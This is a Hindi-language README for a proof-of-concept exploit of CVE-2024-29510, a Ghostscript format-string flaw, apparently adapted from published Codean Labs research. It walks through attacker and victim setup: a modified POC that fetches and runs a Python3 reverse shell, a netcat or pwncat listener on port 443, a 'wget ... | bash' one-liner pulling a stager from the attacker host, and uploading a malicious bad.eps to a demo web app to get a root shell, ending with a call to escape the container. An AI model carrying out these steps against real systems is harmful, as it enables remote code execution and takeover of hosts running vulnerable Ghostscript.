मूल शोध और POC कोड: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
नोट: मैंने निष्पादित कमांड के अलावा POC में कोई बदलाव नहीं किया है। पूरा श्रेय थॉमस रिन्समा @ Codean Labs को उनके अद्भुत शोध और POC के लिए जाता है।
स्थानीय परिदृश्य
- स्टेजर स्क्रिप्ट में लिपटा हुआ है जो होस्ट के कमजोर होने की जांच के लिए चेक स्क्रिप्ट डाउनलोड और चलाता है
- POC को Python3 रिवर्स शेल डाउनलोड और निष्पादित करने के लिए संशोधित किया गया
- स्टेजर और रिवर्स शेल STDIN के माध्यम से डाउनलोड और निष्पादित किए जाते हैं
- POC /tmp में रैंडम नाम के साथ एक आर्टिफैक्ट छोड़ता है
हमलावर होस्ट पर:
- pwncat-cs या netcat का उपयोग करके, 443 के लिए लिसनर बनाएं
- एक्सप्लॉइट डायरेक्टरी पर जाएं
- python3 -m http.server 80
पीड़ित होस्ट पर (Ubuntu 23.10, Ghostscript 10.01.2 चला रहा है):
- टर्मिनल खोलें और चलाएं: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
दूरस्थ परिदृश्य (VulnApp)
- VulnApp बनाएं: 'docker build -t cve-2024-29510-demo:latest .' (इसके लिए Dockerfile डायरेक्टरी में https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz की एक प्रतिलिपि आवश्यक है)
- VulnApp चलाएं: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- कार्यक्षमता जांचने के लिए good.ps को कन्वर्ट करने का प्रयास करें। इसे एक रेंडर किया हुआ PDF लौटाना चाहिए जिसमें रेखाएं एक तीर बनाती हैं, जैसे '>'
- पोर्ट 80 पर shell.html होस्ट करने के लिए वेब सर्वर सेटअप करें, उदा. 'python3 -m http.server 80'
- pwncat-cs या netcat का उपयोग करके, 443 के लिए लिसनर बनाएं
- bad.eps अपलोड करें, VulnApp हैंग हो जाएगा और लिसनर को कंटेनर के लिए एक रिवर्स शेल पकड़ना चाहिए (रूट के रूप में चल रहा है)
- कंटेनर से भागें!